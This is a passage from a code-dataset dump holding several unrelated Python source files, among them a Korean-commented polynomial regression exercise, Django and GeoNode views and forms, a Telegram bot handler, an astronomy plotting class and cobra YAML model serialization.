효과만 분석 (즉 제곱항, 세제곱항 쓰지 않음)\n# include_bias : True 오차(잔차) 삽입\n# PolynomialFeatues 객체에 대한 설명 : 데이터에 다항식 항들을 컬럼으로 추가해주는 클래스 객체\n\n# 학습세트에 다항식 항을 추가 -> fit/train 할 때 사용 (필기 참고)\nX_train_lstat_poly = poly.fit_transform(X_train_lstat) # 컬럼 옆에 lstst^2 등 을 붙여준다. (x+y)\n# 검증세트에 다항식 항을 추가 -> fit/train 할 때 사용\nX_test_lstat_poly = poly.fit_transform(X_test_lstat)\n\n# fitting\nlin_reg.fit(X_train_lstat_poly, y_train)\nprint(f'intercept : {lin_reg.intercept_}, coefficient : {lin_reg.coef_}')\n# coefficient 계수가 작다 -> 직선에 가까운 직선이다.\n\n# predict\ny_pred_lstat_poly = lin_reg.predict(X_test_lstat_poly) # polynomial 항을 넣는다~\n\n# graph\nplt.scatter(X_test_lstat, y_test) # X_test_lstat: polynomial 항을 넣는 것이 아니야~~ 주의!\nxs = np.linspace(X_test_lstat.min(), X_test_lstat.max(), 100).reshape((100, 1)) # 구간을 100개로 나누고, 1차원 리스트로 배열함\nxs_poly = poly.fit_transform(xs) # fit_transform 왜 나온거지? --> 그래프 만드는 때에도 만드는 객체인 거(그냥 컬럼 더해주는 역할일 뿐)\nys = lin_reg.predict(xs_poly) # polynomial feature 를 만들었으므로 predict 다시 만들어야 함. ????? 다시 해보기~!!!\nplt.plot(xs, ys, 'r')\nplt.show()\n# 이상하게 나오는 코드\n# plt.plot(X_test_lstat, y_pred_lstat_poly, 'r')\n# 이유 : plot은 점과 점사이를 직선으로 연결한다. X_test_lstat 가 랜덤하게 연결되어있으므로\nmse = mean_squared_error(y_test, y_pred_lstat_poly)\nrmse = np.sqrt(mse)\nr2_6 = r2_score(y_test, y_pred_lstat_poly)\nr2_7 = lin_reg.score(X_test_lstat_poly, y_test) # predict 할 때 사용했던 x값, y 실제값\nprint('Price ~ LSTAT 2 : rmse is :', rmse)\nprint(f'Price ~ LSTAT 2 in train set : R^2 = {r2_6}, R^2 ={r2_7}') # 결정계수(r2 score)도 커졌고, 오차(rmse) 적어졌다.\n\n\n# 3-4. RM, LSTAT 두가지 변수를 합한 선형 회귀\n# Price ~ RM, LSTAT 선형회귀\n# price = b0 + b1 * rm + b2 * lstat\nX_train_rm_lstat = X_train[:, [5, 12]] # np.newaxis 필요 없다 : 이미 2차원 array 이기 때문!\nX_test_rm_lstat = X_test[:, [5, 12]]\nprint('train set - rm and lstat : ', X_train_rm_lstat[:5])\n\nlin_reg.fit(X_train_rm_lstat, y_train) # fit/train\nprint(f'intercept : {lin_reg.intercept_}. coefficient : {lin_reg.coef_}') # 계수 2개 (b1, b2)\n# intercept : -0.6680381939230706. coefficient : [ 5.0114298 rm 양수, -0.66908291 lstat ] -> 변수들 간의 상관관계가 있으면 값이 영향을 받는다.\n\ny_pred_rm_lstat = lin_reg.predict(X_test_rm_lstat) # 예측\nprint('실제값 : ', y_test[:5])\nprint('예측값 : ', y_pred_rm_lstat[:5]) # 실제값 예측값 그냥 비교\n\n# 그래프는 3차원을 그려야 한다.\n# x축 rm, z축 lstat, y축 price\n\n# mse\nmse = mean_squared_error(y_test, y_pred_rm_lstat)\nprint('rm, lstat mse : ', mse)\nrmse = np.sqrt(mse)\nprint('rm, lstat rmse : ', rmse)\nr2_8 = r2_score(y_test, y_pred_rm_lstat)\nprint('rm, lstat r2 score : ', r2_8) # 결정계수가 너무 커지면 overfitting 의 문제점이 발생할 수 있다. (데이터에 과적합)\n\n\n# 3-5. Price ~ RM + LSTAT + RM^2 + RM * LSTAT + LSTAT^2\n# price = b0 + b1 * rm + b2 * lstat + b3 * rm^2 + b4 * rm * lstat + b5 * lstat^2\n# 학습/검증세트에 다항식항(컬럼)을 추가\nX_train_rm_lstat_poly = poly.fit_transform(X_train_rm_lstat)\nprint('X trainset rm lstat - poly 객체 : \\n', X_train_rm_lstat_poly[:2])\nX_test_rm_lstat_poly = poly.fit_transform(X_test_rm_lstat)\nprint('X testset rm lstat - poly 객체 : \\n', X_test_rm_lstat_poly[:2])\n# fitting\nlin_reg.fit(X_train_rm_lstat_poly, y_train)\nprint(f'intercept : {lin_reg.intercept_}, coefficient : {lin_reg.coef_}') # 계수 5개\n# price = b0 + b1 * rm + b2 * lstat + b3 * rm^2 + b4 * rm * lstat + b5 * lstat^2\n# [-1.76285033e+01 1.52009093e+00 2.09295492e+00 -3.53889752e-01 -3.14275848e-03] --> rm의 계수인 b1 부터 시작\n# 해석 : rm의 계수가 음수가 나왔다. (rm 에 반비례한다는 의미) -> 그러나 fit 함수는 price 의 오차만 줄이면 되기 때문에 rm의 계수는 관심 없음!\n# 여기서 price는 과적합되었다고 말할 수 있다. (지금 trainset 에 너무 fit 되어있어 예측력 없어보임 -> R2 score 가 높아짐)\n# lstat 도 원래는 반비례였는데 정비례로 나와버림 !\n# why ? 추가되면서 두 개의 interaction 이 생겼기 때문에, b4가 다른 변수들에 영향을 주는 것이다. --> 다중공선성?\n# (https://ko.wikipedia.org/wiki/%EB%8B%A4%EC%A4%91%EA%B3%B5%EC%84%A0%EC%84%B1 정리~)\n\n# predict\ny_pred_rm_lstat_poly = lin_reg.predict(X_test_rm_lstat_poly)\nprint('y true : ', y_test[:5])\nprint('y prediction : ', y_pred_rm_lstat_poly[:5].round(2)) # .round(2) 반올림 소숫점 2자리 np.array 이면 ok!!\n# 해석 : 실제값과 예측값의 차이 정말정말 적다! why? 제곱항을 넣어버렸기 때문.. -> 잘못된 모델이다!\nmse = mean_squared_error(y_test, y_pred_rm_lstat_poly)\nrmse = np.sqrt(mse)\nr2 = r2_score(y_test, y_pred_rm_lstat_poly)\nprint(f'Price ~ RM + LSTAT + RM^2 + RM*LSTAT + LSTAT^2: mse : {mse}, rmse : {rmse}, r2 score : {r2}')\n# rmse : 5.715001544053191, r2 score : 0.6303959336867977 --> 정확도가 좋아진 것 처럼 보여주지만 실제로는 너무 과적합.\n\n\n# 3-6. Price ~ RM + LSTAT + LSTAT^2\n# price = b0 + b1 * rm + b2 * lstat + b3 * lstat^2\n# LSTAT + LSTAT^2 를 binomial 객체로 만들고 RM 을 bind 한다. np.c_[]\n# LSTAT + LSTAT^2 다항식을 가진 binomial 객체 : X_train_lstat_poly, X_test_lstat_poly\nX_train_last = np.c_[X_train_rm, X_train_lstat_poly]\nX_test_last = np.c_[X_test_rm, X_test_lstat_poly]\nprint(f'X_train_last shape : \\n', X_train_last.shape)\nprint(f'X_test_last shape : \\n', X_test_last.shape) # 행의 갯수 동일해야 함\nprint(f'X_train_last head(2) : \\n', X_train_last[:2]) # 제곱해보면 진짜 잘됬는지 알 수 있다\nprint(f'X_test_last head(2) : \\n', X_test_last[:2])\n# fitting\nlin_reg.fit(X_train_last, y_train)\nprint(f'Price ~ RM + LSTAT + LSTAT^2 : intercept : {lin_reg.intercept_}, coefficients : {lin_reg.coef_}')\n# price = b0 + b1 * rm + b2 * lstat + b3 * lstat^2\n# [ 4.14148052 -1.79652146 0.03381396] --> rm 정비례, lstat 반비례 : 상식적인 그래프 도출되었다! (fitting 적절)\n# prediction\ny_pred_last = lin_reg.predict(X_test_last)\nprint('y true : ', y_test[:5])\nprint('y pred : ', y_pred_last[:5].round(2))\n# mse, rmse, r2 score\nmse = mean_squared_error(y_test, y_pred_last)\nrmse = np.sqrt(mse)\nr2_last = r2_score(y_test, y_pred_last)\nprint(f'Price ~ RM + LSTAT + LSTAT^2: mse : {mse}, rmse : {rmse}, r2 score : {r2_last}')\n# 해석 : 3-5, 3-6 두개의 모델이 거의 비슷한 결정계수 + 3-6 은 coef_가 상식적이므로 3-6 채택하자~~ (상식적으로 생각하쟈~~)\n\n# cmd + pip install seaborn\n# cmd + pip show seaborn -> location 디렉토리에 설치되어있는 거 찾아보기","sub_path":"scratch13/ex05_assignment_answer.py","file_name":"ex05_assignment_answer.py","file_ext":"py","file_size_in_byte":13781,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"279912040","text":"class Solution(object):\n\n def moveZeroes(self, nums):\n \"\"\"\n Given an array nums, write a function to move all 0's to the end of it while maintaining the relative order of\n the non-zero elements.\n\n Note:\n\n You must do this in-place without making a copy of the array.\n Minimize the total number of operations.\n\n 21 / 21 test cases passed.\n Status: Accepted\n Runtime: 52 ms\n Memory Usage: 14.9 MB\n\n\n Parameters\n ----------\n nums : list\n\n\n Examples\n --------\n >>> nums = [0, 1, 0, 3, 12]\n >>> Solution().moveZeroes(nums)\n >>> print(nums)\n >>> [1, 3, 12, 0, 0]\n\n \"\"\"\n\n l_idx = 0\n l_n = len(nums)\n for idx in range(l_n):\n if nums[idx] is 0:\n l_idx = max(idx, l_idx)\n while l_idx < l_n:\n if nums[l_idx] is not 0:\n nums[idx] = nums[l_idx]\n nums[l_idx] = 0\n break\n l_idx += 1\n if l_idx == l_n:\n break\n\n\nif __name__ == \"__main__\":\n nums = [0, 0, 3, 12]\n Solution().moveZeroes(nums)\n print(nums)\n","sub_path":"algorithms/april_challenge/4_Move_Zeroes.py","file_name":"4_Move_Zeroes.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"100246560","text":"import os\n\nfrom django.shortcuts import render, render_to_response\nfrom django.template import RequestContext\nfrom django.conf import settings\nfrom geonode.layers.views import _resolve_layer, _PERMISSION_MSG_METADATA\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom exchange.core.models import ThumbnailImage, ThumbnailImageForm\nfrom geonode.maps.views import _resolve_map\nimport requests\n\n\ndef home_screen(request):\n return render(request, 'index.html')\n\n\ndef documentation_page(request):\n return HttpResponseRedirect('/static/docs/index.html')\n\n\ndef layer_metadata_detail(request, layername,\n template='layers/metadata_detail.html'):\n\n layer = _resolve_layer(request, layername, 'view_resourcebase',\n _PERMISSION_MSG_METADATA)\n\n thumbnail_dir = os.path.join(settings.MEDIA_ROOT, 'thumbs')\n default_thumbnail_array = layer.get_thumbnail_url().split('/')\n default_thumbnail_name = default_thumbnail_array[\n len(default_thumbnail_array) - 1\n ]\n default_thumbnail = os.path.join(thumbnail_dir, default_thumbnail_name)\n\n if request.method == 'POST':\n thumb_form = ThumbnailImageForm(request.POST, request.FILES)\n if thumb_form.is_valid():\n new_img = ThumbnailImage(\n thumbnail_image=request.FILES['thumbnail_image']\n )\n new_img.save()\n user_upload_thumbnail = ThumbnailImage.objects.all()[0]\n user_upload_thumbnail_filepath = str(\n user_upload_thumbnail.thumbnail_image\n )\n\n # only create backup for original thumbnail\n if os.path.isfile(default_thumbnail + '.bak') is False:\n os.rename(default_thumbnail, default_thumbnail + '.bak')\n\n os.rename(user_upload_thumbnail_filepath, default_thumbnail)\n\n return HttpResponseRedirect(\n reverse('layer_metadata_detail', args=[layername])\n )\n else:\n thumb_form = ThumbnailImageForm()\n\n thumbnail = layer.get_thumbnail_url\n return render_to_response(template, RequestContext(request, {\n \"layer\": layer,\n 'SITEURL': settings.SITEURL[:-1],\n \"thumbnail\": thumbnail,\n \"thumb_form\": thumb_form\n }))\n\n\ndef map_metadata_detail(request, mapid,\n template='maps/metadata_detail.html'):\n\n map_obj = _resolve_map(request, mapid, 'view_resourcebase')\n\n thumbnail_dir = os.path.join(settings.MEDIA_ROOT, 'thumbs')\n default_thumbnail_array = map_obj.get_thumbnail_url().split('/')\n default_thumbnail_name = default_thumbnail_array[\n len(default_thumbnail_array) - 1\n ]\n default_thumbnail = os.path.join(thumbnail_dir, default_thumbnail_name)\n\n if request.method == 'POST':\n thumb_form = ThumbnailImageForm(request.POST, request.FILES)\n if thumb_form.is_valid():\n new_img = ThumbnailImage(\n thumbnail_image=request.FILES['thumbnail_image']\n )\n new_img.save()\n user_upload_thumbnail = ThumbnailImage.objects.all()[0]\n user_upload_thumbnail_filepath = str(\n user_upload_thumbnail.thumbnail_image\n )\n\n # only create backup for original thumbnail\n if os.path.isfile(default_thumbnail + '.bak') is False:\n os.rename(default_thumbnail, default_thumbnail + '.bak')\n\n os.rename(user_upload_thumbnail_filepath, default_thumbnail)\n\n return HttpResponseRedirect(\n reverse('map_metadata_detail', args=[mapid])\n )\n else:\n thumb_form = ThumbnailImageForm()\n\n thumbnail = map_obj.get_thumbnail_url\n return render_to_response(template, RequestContext(request, {\n \"layer\": map_obj,\n \"mapid\": mapid,\n 'SITEURL': settings.SITEURL[:-1],\n \"thumbnail\": thumbnail,\n \"thumb_form\": thumb_form\n }))\n\n\ndef geoserver_reverse_proxy(request):\n url = settings.OGC_SERVER['default']['LOCATION'] + 'wfs/WfsDispatcher'\n data = request.body\n headers = {'Content-Type': 'application/xml',\n 'Data-Type': 'xml'}\n\n req = requests.post(url, data=data, headers=headers,\n cookies=request.COOKIES)\n return HttpResponse(req.content, content_type='application/xml')\n","sub_path":"exchange/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"2654578","text":"from django.utils import timezone\nfrom django import forms\n\nfrom finance.alternative.models import Alternative\nfrom finance.alternative.models import Timespan\nfrom finance.alternative.models import Value\nfrom finance.alternative.models import Depot\nfrom finance.alternative.models import Flow\nfrom finance.core.utils import create_slug\n\nfrom datetime import timedelta\n\n\n# depot\nclass DepotForm(forms.ModelForm):\n class Meta:\n model = Depot\n fields = (\n 'name',\n )\n\n def __init__(self, user, *args, **kwargs):\n super(DepotForm, self).__init__(*args, **kwargs)\n self.instance.user = user\n\n\nclass DepotSelectForm(forms.Form):\n depot = forms.ModelChoiceField(widget=forms.Select, queryset=None)\n\n class Meta:\n fields = (\n 'depot',\n )\n\n def __init__(self, user, *args, **kwargs):\n super(DepotSelectForm, self).__init__(*args, **kwargs)\n self.fields['depot'].queryset = user.alternative_depots.all()\n\n\nclass DepotActiveForm(forms.ModelForm):\n class Meta:\n model = Depot\n fields = ('is_active',)\n\n def __init__(self, user, *args, **kwargs):\n super(DepotActiveForm, self).__init__(*args, **kwargs)\n user.alternative_depots.update(is_active=False)\n\n\n# alternative\nclass AlternativeForm(forms.ModelForm):\n class Meta:\n model = Alternative\n fields = (\n 'name',\n )\n\n def __init__(self, depot, *args, **kwargs):\n super(AlternativeForm, self).__init__(*args, **kwargs)\n self.instance.depot = depot\n\n def save(self, commit=True):\n self.instance.slug = create_slug(self.instance, self.instance.name)\n return super(AlternativeForm, self).save(commit=commit)\n\n\nclass AlternativeSelectForm(forms.Form):\n alternative = forms.ModelChoiceField(widget=forms.Select, queryset=None)\n\n class Meta:\n fields = (\n 'alternative',\n )\n\n def __init__(self, depot, *args, **kwargs):\n super(AlternativeSelectForm, self).__init__(*args, **kwargs)\n self.fields['alternative'].queryset = depot.alternatives.all()\n\n\n# value\nclass ValueForm(forms.ModelForm):\n date = forms.DateTimeField(widget=forms.DateTimeInput(\n attrs={'type': 'datetime-local'}, format='%Y-%m-%dT%H:%M'),\n input_formats=['%Y-%m-%dT%H:%M'], label='Date')\n\n class Meta:\n model = Value\n fields = (\n 'alternative',\n 'date',\n 'value',\n )\n\n def __init__(self, depot, *args, **kwargs):\n super(ValueForm, self).__init__(*args, **kwargs)\n self.fields['alternative'].queryset = depot.alternatives.all()\n self.fields['date'].initial = timezone.now()\n\n def clean(self):\n # get the cleaned data\n alternative = self.cleaned_data['alternative']\n\n # a value before a flow occurs makes no sense\n if not Flow.objects.filter(alternative=alternative).exists():\n err = 'Add a flow before you add a value.'\n raise forms.ValidationError(err)\n\n # don't allow adding values if the value is 0\n if Value.objects.filter(alternative=alternative, value__lte=0).exists():\n err = \"You can't add more flows or values to this alternative, because its value is 0.\"\n raise forms.ValidationError(err)\n\n # date\n date = self.cleaned_data['date']\n if date <= Value.objects.filter(alternative=alternative).earliest('date').date:\n err = 'The date must be greater than the date of the first value.'\n raise forms.ValidationError(err)\n\n\n# flow\nclass FlowForm(forms.ModelForm):\n date = forms.DateTimeField(widget=forms.DateTimeInput(\n attrs={'type': 'datetime-local'}, format='%Y-%m-%dT%H:%M'),\n input_formats=['%Y-%m-%dT%H:%M'], label='Date')\n value = forms.DecimalField(decimal_places=2, max_digits=15)\n\n class Meta:\n model = Flow\n fields = (\n 'alternative',\n 'date',\n 'flow',\n 'value',\n )\n help_texts = {\n 'value': 'The value of this alternative after the flow.'\n }\n\n def __init__(self, depot, *args, **kwargs):\n super(FlowForm, self).__init__(*args, **kwargs)\n self.fields['alternative'].queryset = depot.alternatives.all()\n self.fields['date'].initial = timezone.now().date\n self.fields['value'].widget.attrs['min'] = 0\n\n def clean(self):\n # get the cleaned data\n alternative = self.cleaned_data['alternative']\n date = self.cleaned_data['date']\n\n # don't allow another flow at the same time\n critical_date = date - timedelta(seconds=1)\n if Flow.objects.filter(alternative=alternative, date=critical_date).exists() or \\\n Flow.objects.filter(alternative=alternative, date=date).exists():\n err = \"There already exists a Flow with that date and value.\"\n raise forms.ValidationError(err)\n\n # don't allow adding flows or values to alternatives that have no value\n if Value.objects.filter(alternative=alternative, value__lte=0).exists():\n err = \"You can't add more flows to this alternative, because its value is 0.\"\n raise forms.ValidationError(err)\n\n # return\n return self.cleaned_data\n\n def save(self, commit=True):\n flow = super(FlowForm, self).save(commit=commit)\n if commit and flow.pk:\n date = flow.date + timedelta(seconds=1)\n Value.objects.create(alternative=flow.alternative, date=date, value=flow.flow)\n return flow\n\n\n# timespan\nclass TimespanForm(forms.ModelForm):\n start_date = forms.DateTimeField(widget=forms.DateTimeInput(\n attrs={'type': 'datetime-local'}, format='%Y-%m-%dT%H:%M'),\n input_formats=['%Y-%m-%dT%H:%M'], label='Start Date (not required)', required=False)\n end_date = forms.DateTimeField(widget=forms.DateTimeInput(\n attrs={'type': 'datetime-local'}, format='%Y-%m-%dT%H:%M'),\n input_formats=['%Y-%m-%dT%H:%M'], label='End Date (not required)', required=False)\n\n class Meta:\n model = Timespan\n fields = (\n 'name',\n 'start_date',\n 'end_date'\n )\n\n def __init__(self, depot, *args, **kwargs):\n super(TimespanForm, self).__init__(*args, **kwargs)\n self.instance.depot = depot\n\n\nclass TimespanActiveForm(forms.ModelForm):\n class Meta:\n model = Timespan\n fields = ('is_active',)\n\n def __init__(self, depot, *args, **kwargs):\n super(TimespanActiveForm, self).__init__(*args, **kwargs)\n depot.timespans.update(is_active=False)\n","sub_path":"finance/alternative/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":6677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"481766624","text":"from aiogram import types\nfrom loader import dp, bot, db\n\n\n@dp.message_handler(content_types=['audio'])\nasync def sendsticker(message: types.Message):\n if message.chat.type == 'private':\n chat_info = db.get_active_chat(message.chat.id)\n if chat_info != False:\n await bot.send_audio(chat_info[1], message.audio.file_id)\n else:\n await bot.send_message(message.chat.id, '❌ Siz suhbatni boshlamadingiz!')\n","sub_path":"handlers/users/audio.py","file_name":"audio.py","file_ext":"py","file_size_in_byte":449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"422473305","text":"from autoarray.plot.plotters import abstract_plotters\r\nfrom autoarray.plot.mat_wrap import visuals as vis\r\nfrom autoarray.plot.mat_wrap import include as inc\r\nfrom autoarray.plot.mat_wrap import mat_plot as mp\r\nfrom autoarray.fit import fit as f\r\nimport numpy as np\r\n\r\n\r\nclass AbstractFitInterferometerPlotter(abstract_plotters.AbstractPlotter):\r\n def __init__(\r\n self,\r\n fit: f.FitInterferometer,\r\n mat_plot_1d,\r\n visuals_1d,\r\n include_1d,\r\n mat_plot_2d,\r\n visuals_2d,\r\n include_2d,\r\n ):\r\n\r\n super().__init__(\r\n mat_plot_1d=mat_plot_1d,\r\n include_1d=include_1d,\r\n visuals_1d=visuals_1d,\r\n mat_plot_2d=mat_plot_2d,\r\n include_2d=include_2d,\r\n visuals_2d=visuals_2d,\r\n )\r\n\r\n self.fit = fit\r\n\r\n @property\r\n def visuals_with_include_2d(self):\r\n return self.visuals_2d + self.visuals_2d.__class__()\r\n\r\n def figures(\r\n self,\r\n visibilities=False,\r\n noise_map=False,\r\n signal_to_noise_map=False,\r\n model_visibilities=False,\r\n residual_map_real=False,\r\n residual_map_imag=False,\r\n normalized_residual_map_real=False,\r\n normalized_residual_map_imag=False,\r\n chi_squared_map_real=False,\r\n chi_squared_map_imag=False,\r\n ):\r\n \"\"\"Plot the model datas_ of an analysis, using the *Fitter* class object.\r\n\r\n The visualization and output type can be fully customized.\r\n\r\n Parameters\r\n -----------\r\n fit : autolens.lens.fitting.Fitter\r\n Class containing fit between the model datas_ and observed lens datas_ (including residual_map, chi_squared_map etc.)\r\n output_path : str\r\n The path where the datas_ is output if the output_type is a file format (e.g. png, fits)\r\n output_format : str\r\n How the datas_ is output. File formats (e.g. png, fits) output the datas_ to harddisk. 'show' displays the datas_ \\\r\n in the python interpreter window.\r\n \"\"\"\r\n\r\n if visibilities:\r\n self.mat_plot_2d.plot_grid(\r\n grid=self.fit.visibilities.in_grid,\r\n visuals_2d=self.visuals_2d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Visibilities\", filename=\"visibilities\"\r\n ),\r\n color_array=np.real(self.fit.noise_map),\r\n )\r\n\r\n if noise_map:\r\n self.mat_plot_2d.plot_grid(\r\n grid=self.fit.visibilities.in_grid,\r\n visuals_2d=self.visuals_2d,\r\n auto_labels=mp.AutoLabels(title=\"Noise-Map\", filename=\"noise_map\"),\r\n color_array=np.real(self.fit.noise_map),\r\n )\r\n\r\n if signal_to_noise_map:\r\n self.mat_plot_2d.plot_grid(\r\n grid=self.fit.visibilities.in_grid,\r\n visuals_2d=self.visuals_2d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Signal-To-Noise Map\", filename=\"signal_to_noise_map\"\r\n ),\r\n color_array=np.real(self.fit.signal_to_noise_map),\r\n )\r\n if model_visibilities:\r\n self.mat_plot_2d.plot_grid(\r\n grid=self.fit.visibilities.in_grid,\r\n visuals_2d=self.visuals_2d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Model Visibilities\", filename=\"model_visibilities\"\r\n ),\r\n color_array=np.real(self.fit.model_data),\r\n )\r\n\r\n if residual_map_real:\r\n self.mat_plot_1d.plot_line(\r\n y=np.real(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Residual Map vs UV-Distance (real)\",\r\n filename=\"real_residual_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n if residual_map_imag:\r\n self.mat_plot_1d.plot_line(\r\n y=np.imag(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Residual Map vs UV-Distance (imag)\",\r\n filename=\"imag_residual_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n\r\n if normalized_residual_map_real:\r\n\r\n self.mat_plot_1d.plot_line(\r\n y=np.real(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Normalized Residual Map vs UV-Distance (real)\",\r\n filename=\"real_normalized_residual_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n if normalized_residual_map_imag:\r\n self.mat_plot_1d.plot_line(\r\n y=np.imag(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Normalized Residual Map vs UV-Distance (imag)\",\r\n filename=\"imag_normalized_residual_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n\r\n if chi_squared_map_real:\r\n\r\n self.mat_plot_1d.plot_line(\r\n y=np.real(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Chi-Squared Map vs UV-Distance (real)\",\r\n filename=\"real_chi_squared_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n if chi_squared_map_imag:\r\n self.mat_plot_1d.plot_line(\r\n y=np.imag(self.fit.residual_map),\r\n x=self.fit.masked_interferometer.interferometer.uv_distances\r\n / 10 ** 3.0,\r\n visuals_1d=self.visuals_1d,\r\n auto_labels=mp.AutoLabels(\r\n title=\"Chi-Squared Map vs UV-Distance (imag)\",\r\n filename=\"imag_chi_squared_map_vs_uv_distances\",\r\n ylabel=\"V$_{R,data}$ - V$_{R,model}$\",\r\n xlabel=r\"UV$_{distance}$ (k$\\lambda$)\",\r\n ),\r\n plot_axis_type=\"scatter\",\r\n )\r\n\r\n def subplot(\r\n self,\r\n visibilities=False,\r\n noise_map=False,\r\n signal_to_noise_map=False,\r\n model_visibilities=False,\r\n residual_map_real=False,\r\n residual_map_imag=False,\r\n normalized_residual_map_real=False,\r\n normalized_residual_map_imag=False,\r\n chi_squared_map_real=False,\r\n chi_squared_map_imag=False,\r\n auto_filename=\"subplot_fit_interferometer\",\r\n ):\r\n\r\n self._subplot_custom_plot(\r\n visibilities=visibilities,\r\n noise_map=noise_map,\r\n signal_to_noise_map=signal_to_noise_map,\r\n model_visibilities=model_visibilities,\r\n residual_map_real=residual_map_real,\r\n residual_map_imag=residual_map_imag,\r\n normalized_residual_map_real=normalized_residual_map_real,\r\n normalized_residual_map_imag=normalized_residual_map_imag,\r\n chi_squared_map_real=chi_squared_map_real,\r\n chi_squared_map_imag=chi_squared_map_imag,\r\n auto_labels=mp.AutoLabels(filename=auto_filename),\r\n )\r\n\r\n def subplot_fit_interferometer(self):\r\n return self.subplot(\r\n residual_map_real=True,\r\n normalized_residual_map_real=True,\r\n chi_squared_map_real=True,\r\n residual_map_imag=True,\r\n normalized_residual_map_imag=True,\r\n chi_squared_map_imag=True,\r\n )\r\n\r\n\r\nclass FitInterferometerPlotter(AbstractFitInterferometerPlotter):\r\n def __init__(\r\n self,\r\n fit: f.FitInterferometer,\r\n mat_plot_1d: mp.MatPlot1D = mp.MatPlot1D(),\r\n visuals_1d: vis.Visuals1D = vis.Visuals1D(),\r\n include_1d: inc.Include1D = inc.Include1D(),\r\n mat_plot_2d: mp.MatPlot2D = mp.MatPlot2D(),\r\n visuals_2d: vis.Visuals2D = vis.Visuals2D(),\r\n include_2d: inc.Include2D = inc.Include2D(),\r\n ):\r\n\r\n super().__init__(\r\n fit=fit,\r\n mat_plot_1d=mat_plot_1d,\r\n include_1d=include_1d,\r\n visuals_1d=visuals_1d,\r\n mat_plot_2d=mat_plot_2d,\r\n include_2d=include_2d,\r\n visuals_2d=visuals_2d,\r\n )\r\n","sub_path":"autoarray/plot/plotters/fit_interferometer_plotters.py","file_name":"fit_interferometer_plotters.py","file_ext":"py","file_size_in_byte":9750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"17"} +{"seq_id":"229420271","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import absolute_import\n\nimport io\n\nfrom six import string_types\nfrom ruamel import yaml\n\nfrom cobra.io.dict import model_to_dict, model_from_dict\n\nYAML_SPEC = \"1\"\n\n\ndef to_yaml(model, **kwargs):\n \"\"\"\n Return the model as a YAML document.\n\n ``kwargs`` are passed on to ``yaml.dump``.\n\n Parameters\n ----------\n model : cobra.Model\n The cobra model to represent.\n\n Returns\n -------\n str\n String representation of the cobra model as a YAML document.\n\n See Also\n --------\n save_yaml_model : Write directly to a file.\n ruamel.yaml.dump : Base function.\n \"\"\"\n obj = model_to_dict(model)\n obj[\"version\"] = YAML_SPEC\n return yaml.dump(obj, Dumper=yaml.RoundTripDumper, **kwargs)\n\n\ndef from_yaml(document):\n \"\"\"\n Load a cobra model from a YAML document.\n\n Parameters\n ----------\n document : str\n The YAML document representation of a cobra model.\n\n Returns\n -------\n cobra.Model\n The cobra model as represented in the YAML document.\n\n See Also\n --------\n load_yaml_model : Load directly from a file.\n \"\"\"\n return model_from_dict(yaml.load(document, yaml.RoundTripLoader))\n\n\ndef save_yaml_model(model, filename, **kwargs):\n \"\"\"\n Write the cobra model to a file in YAML format.\n\n ``kwargs`` are passed on to ``yaml.dump``.\n\n Parameters\n ----------\n model : cobra.Model\n The cobra model to represent.\n filename : str or file-like\n File path or descriptor that the YAML representation should be\n written to.\n\n See Also\n --------\n to_yaml : Return a string representation.\n ruamel.yaml.dump : Base function.\n \"\"\"\n obj = model_to_dict(model)\n obj[\"version\"] = YAML_SPEC\n if isinstance(filename, string_types):\n with io.open(filename, \"w\") as file_handle:\n yaml.dump(obj, 